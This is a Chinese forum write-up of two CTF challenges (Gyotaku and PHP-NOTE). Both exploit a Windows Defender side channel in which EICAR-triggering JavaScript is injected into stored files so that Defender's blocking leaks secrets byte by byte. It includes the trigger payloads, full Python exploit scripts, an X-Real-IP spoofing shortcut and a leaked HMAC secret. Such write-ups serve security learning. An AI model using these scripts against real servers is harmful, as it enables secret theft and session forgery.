Playing with Windows Defender

n0b0dy / 2019-09-08 10:10:59 / 浏览数 3426 安全技术 WEB安全 顶(0) 踩(0)

本文章总结了TokyoWesterns在WCTF上命的Gyotaku和TWCTF上的PHP-NOTE这两道题涉及的Windows Defender相关的侧信道攻击。

Windows Defender

Windows defender是windows上的防护软件，TokyoWesterns在WCTF 2019上提出了一种针对于Windows Defender的侧信道攻击方式AVOracal。

windows defender行为

根据TokyoWesterns的调研，Windows Defender会进行以下行为：

1. 检查文件内容中是否有恶意内容
2. 改变恶意文件的权限避免用户访问
3. 将文件中的恶意内容替换为null
4. 删除恶意文件

其中在第二步中，如果恶意文件被Windows Defender检测出，用户则不能访问该文件。

触发Windows Defender

EICAR测试文件可以方便地触发windows defender，其文件内容如下：

```
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
```

Emulator

Windows Defender中的mpengine.dll是Windows
Defender的核心dll。其包含对许多文件内容的分析功能，其中包含JScript引擎。该引擎可分析HTML文档，且可以分析其中的JavaScript代码，包括代码中对DOM元素的访

笔者在本机上进行测试，如下内容可以触发Windows Defender：

```
<script>
var body = document.body.innerHTML;
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*";
eval(mal);
</script>
<body></body>
```

再访问该文件会被阻止：

```
PS C:\Users\n0b0dy\Desktop> type .\eicar.txt                                                    type : ■■■■■■■■■■■■■■■■■
+ type .\eicar.txt
+ ~~~~~~~~~~~~~~~~
   + CategoryInfo  : ReadError: (C:\Users\n0b0dy\Desktop\eicar.txt:String) [Get-Content], IOException
   + FullyQualifiedErrorId : GetContentReaderIOError,Microsoft.PowerShell.Commands.GetContentCommand
```

但是如果不加第二行`var body = document.body.innerHTML;`的话，则无法触发Windows Defender。

下文件会被阻止（通过dom获取最后一个字符）：

```
<script>
var body = document.body.innerHTML;
var n = body[0];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+n;
eval(mal);
</script>
<body>*</body>
```

而以下文件则不会：

```
<script>
var body = document.body.innerHTML;
var n = body[0];
var mal = "X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H"+n;
eval(mal);
```

```
</script>
<body>a</body>
```

根据该特性，侧信道攻击方式如下：

```
eval("EICA"+input) -> ?
   detected -> input is 'R'
   not detected -> input is not 'R'
```

Gyotaku (WCTF 2019)

题目链接：Gyotaku

这道题是WCTF中一道让TW很蛋疼的题。该题有一个`/flag`路径，只允许127.0.0.1访问。但是题目使用echo框架开发，`echo.Context.RealIP`可以被`X-Real-IP: 127.0.0.1`欺骗。于是这道题就被全场都做出来了。

预期解如下：

`POST /gyotaku`接受url参数，访问该url并将其返回内容储存，具体代码如下：

```
// save gyotaku
gyotakudata := &GyotakuData{
   URL:      url,
   Data:     string(body),
   UserName: username,
}

buf := bytes.NewBuffer(nil)
err = gob.NewEncoder(buf).Encode(gyotakudata)
if err != nil {
   return err
}
err = ioutil.WriteFile(path.Join(GyotakuDir, gid), buf.Bytes(), 0644)
if err != nil {
   return err
}
```

由于我们可以控制url和username，我们构造如下参数：

```
url=http://127.0.0.1/flag?a=<script>[script]</script><body>
username=</body>
```

则可以使生成的文件以被Windows Defender识别。其中`[script]`的内容如下：

```
<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}:'*'}[Math.min(${c}
```

其中`${c}`是猜测的字符，`${idx}`是body中的字符的索引。对每个字符，我们使用二分搜索来加速搜索速度。最终作者给出的exp如下：

```
import requests

URL = "http://192.168.122.78" # changeme

def randstr(n=8):
   import random
   import string
   chars = string.ascii_uppercase + string.ascii_lowercase + string.digits
   return ''.join([random.choice(chars) for _ in range(n)])

def trigger(c, idx, sess):
   import string
   prefix = randstr()
   p = prefix + '''<script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$$H+H'+{${c}
   p = string.Template(p).substitute({'idx': idx, 'c': c})
   req = sess.post(URL + '/gyotaku', data={'url': 'http://127.0.0.1/flag?a=' + p})
   return req.json()

def leak(idx, sess):
   l, h = 0, 0x100
   while h - l > 1:
       m = (h + l) // 2
       gid = trigger(m, idx, sess)
```

```
        if sess.get(URL + '/gyotaku/' + gid).status_code == 500:
            l = m
        else:
            h = m
    return chr(l)

sess = requests.session()
sess.post(URL + '/login', data={'username': '</body>'+randstr(), 'password': randstr()})

data = ''
for i in range(30):
    data += leak(i, sess)
    print(data)
```

PHP-NOTE

由于WCTF的失误，这种攻击方式再TWCTF-2019中又出了一次。

首先在http://phpnote.chal.ctf.westerns.tokyo/?action=source中得到题目源码。映入眼帘的是一个反序列化：

```
class Note {
....
    public function getflag() {
        if ($this->isadmin === true) {
            echo FLAG;
        }
    }
}

if (is_login()) {
    $realname = $_SESSION['realname'];
    $nickname = $_SESSION['nickname'];

    $note = verify($_COOKIE['note'], $_COOKIE['hmac'])
            ? unserialize(base64_decode($_COOKIE['note']))
            : new Note(false);
}
```

其中涉及到一个vertiry，用到一个secret：

```
function verify($data, $hmac) {
    $secret = $_SESSION['secret'];
    if (empty($secret)) return false;
    return hash_equals(hash_hmac('sha256', $data, $secret), $hmac);
}

function hmac($data) {
    $secret = $_SESSION['secret'];
    if (empty($data) || empty($secret)) return false;
    return hash_hmac('sha256', $data, $secret);
}

function gen_secret($seed) {
    return md5(SALT . $seed . PEPPER);
}
.....
if ($action === 'login') {
    if ($method === 'POST') {
        $nickname = (string)$_POST['nickname'];
        $realname = (string)$_POST['realname'];

        if (empty($realname) || strlen($realname) < 8) {
            die('invalid name');
        }

        $_SESSION['realname'] = $realname;
        if (!empty($nickname)) {
            $_SESSION['nickname'] = $nickname;
        }
        $_SESSION['secret'] = gen_secret($nickname);
```

```
    }
    redirect('index');
}
```

可知secret只与nickname有关。但是我们没法攻击hmac函数来获得secret。在看了一圈之后，我们发现服务器是IIS的：

```
Server: Microsoft-IIS/10.0
X-Powered-By: PHP/7.3.9
```

结合前文所述攻击手法，整理思路如下：

1. PHP的session储存在文件系统中
2. 向session中注入恶意内容让Windows Defender屏蔽生成的session文件
3. 通过能否登录成功，我们可以逐字节泄露secret。

仿照Gyotaku的攻击脚本我们很容易写出exp：

```
#!/usr/bin/env python3

import requests

CHAL_URL = "http://phpnote.chal.ctf.westerns.tokyo/"
TEST_URL = "http://192.168.21.132/"

def trigger(c, idx, payload=''):
    sess = requests.Session()
    import string
    payload = '''--!><html><head><script>f=function(n){eval('X5O!P%@AP[4\\\\PZX54(P^)7CC)7}$$EICAR-STANDARD-ANTIVIRUS-TEST-FILE
    payload = string.Template(payload).substitute({'idx': idx, 'c': c})
    d1 = {
        "nickname": "",
        "realname": payload,
    }
    resp = sess.post(CHAL_URL + "?action=login", data=d1)
    d = {
        "nickname": "1</body>",
        "realname": payload,
    }
    resp = sess.post(CHAL_URL + "?action=login", data=d)
    resp = sess.get(CHAL_URL + "?action=index")
    # print(sess.cookies)
    return "logout" not in resp.text

def leak(idx):
    l, h = 0, 0x100
    while h - l > 1:
        m = (h + l) // 2
        res = trigger(m, idx)
        if res:
            l = m
        else:
            h = m
    return chr(l)

data = ""
for i in range(13,100):
    data += leak(i)
    print(data)
```

成功将secret泄露出：

```
➜  twctf-19 ./exp-phpnote.py
:
:"
:"7
:"7d
:"7da
:"7dae
........
:"7daeeed052fd2908fb30f462ad1c7936
```

```
:"7daeeed052fd2908fb30f462ad1c7936"
```

之后构造反序列化即可得到flag。

Reference

- Windows Offender: Reverse Engineering Windows Defender's Antivirus Emulator
- WCTF2019: Gyotaku Writeup

上一篇：windows样本分析之基础静态分析-二 下一篇：CVE-2018-14418 擦出新火花

1. 0 条回复
   - 动动手指，沙发就是你的了！